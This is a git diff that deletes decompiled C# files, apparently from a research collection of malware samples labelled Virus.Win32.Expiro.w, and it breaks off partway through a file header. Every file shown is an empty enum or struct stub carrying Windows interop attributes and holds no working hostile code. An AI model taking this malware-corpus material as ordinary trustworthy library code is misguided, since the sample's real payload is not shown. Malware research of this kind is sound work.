a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MULTIPLE_TRUSTEE_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MULTIPLE_TRUSTEE_OPERATION.cs deleted file mode 100644 index 1e11c032..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MULTIPLE_TRUSTEE_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _MULTIPLE_TRUSTEE_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _MULTIPLE_TRUSTEE_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_OSVERSIONINFOW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_OSVERSIONINFOW.cs deleted file mode 100644 index 25594c42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_OSVERSIONINFOW.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _OSVERSIONINFOW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 276)] -internal struct _OSVERSIONINFOW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PARTITION_STYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PARTITION_STYLE.cs deleted file mode 100644 index 7d8d0907..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PARTITION_STYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PARTITION_STYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PARTITION_STYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index e212e03d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_DOMAIN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_DOMAIN_INFORMATION_CLASS.cs deleted file mode 100644 index 771476eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_DOMAIN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_DOMAIN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_DOMAIN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_INFORMATION_CLASS.cs deleted file mode 100644 index 42d1bf5a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _POLICY_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_LSA_SERVER_ROLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_LSA_SERVER_ROLE.cs deleted file mode 100644 index 86913b09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_LSA_SERVER_ROLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_LSA_SERVER_ROLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_LSA_SERVER_ROLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs deleted file mode 100644 index ee86d5df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _POLICY_NOTIFICATION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _POLICY_NOTIFICATION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROCESSOR_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROCESSOR_CACHE_TYPE.cs deleted file mode 100644 index d7f1744c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROCESSOR_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROCESSOR_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROCESSOR_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROC_THREAD_ATTRIBUTE_NUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROC_THREAD_ATTRIBUTE_NUM.cs deleted file mode 100644 index 2c78657e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROC_THREAD_ATTRIBUTE_NUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROC_THREAD_ATTRIBUTE_NUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _PROC_THREAD_ATTRIBUTE_NUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROGRESS_INVOKE_SETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROGRESS_INVOKE_SETTING.cs deleted file mode 100644 index b2360e95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROGRESS_INVOKE_SETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PROGRESS_INVOKE_SETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _PROGRESS_INVOKE_SETTING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PSC_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PSC_STATE.cs deleted file mode 100644 index d5b0e18c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PSC_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PSC_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _PSC_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PS_RATE_PHASE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PS_RATE_PHASE.cs deleted file mode 100644 index 492a33a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PS_RATE_PHASE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PS_RATE_PHASE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PS_RATE_PHASE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PaddingMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PaddingMode.cs deleted file mode 100644 index 84814d1f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PaddingMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _PaddingMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _PaddingMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RESOURCEMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RESOURCEMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index 38d81f3a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RESOURCEMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RESOURCEMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RESOURCEMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPCCALLBACKS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPCCALLBACKS.cs deleted file mode 100644 index 14185dc9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPCCALLBACKS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPCCALLBACKS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _RPCCALLBACKS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_ASYNC_EVENT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_ASYNC_EVENT.cs deleted file mode 100644 index b20ce3bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_ASYNC_EVENT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_ASYNC_EVENT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _RPC_ASYNC_EVENT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_HTTP_REDIRECTOR_STAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_HTTP_REDIRECTOR_STAGE.cs deleted file mode 100644 index 5e3b5cf8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_HTTP_REDIRECTOR_STAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_HTTP_REDIRECTOR_STAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _RPC_HTTP_REDIRECTOR_STAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_NOTIFICATION_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_NOTIFICATION_TYPES.cs deleted file mode 100644 index 657fec61..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_NOTIFICATION_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_NOTIFICATION_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RPC_NOTIFICATION_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_REQUEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_REQUEST.cs deleted file mode 100644 index 8dc42587..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_REQUEST.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_REQUEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _RPC_REQUEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_RESPONSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_RESPONSE.cs deleted file mode 100644 index c66fe953..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_RESPONSE.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_RESPONSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _RPC_RESPONSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SASL_AUTHZID_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SASL_AUTHZID_STATE.cs deleted file mode 100644 index dbc91334..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SASL_AUTHZID_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SASL_AUTHZID_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 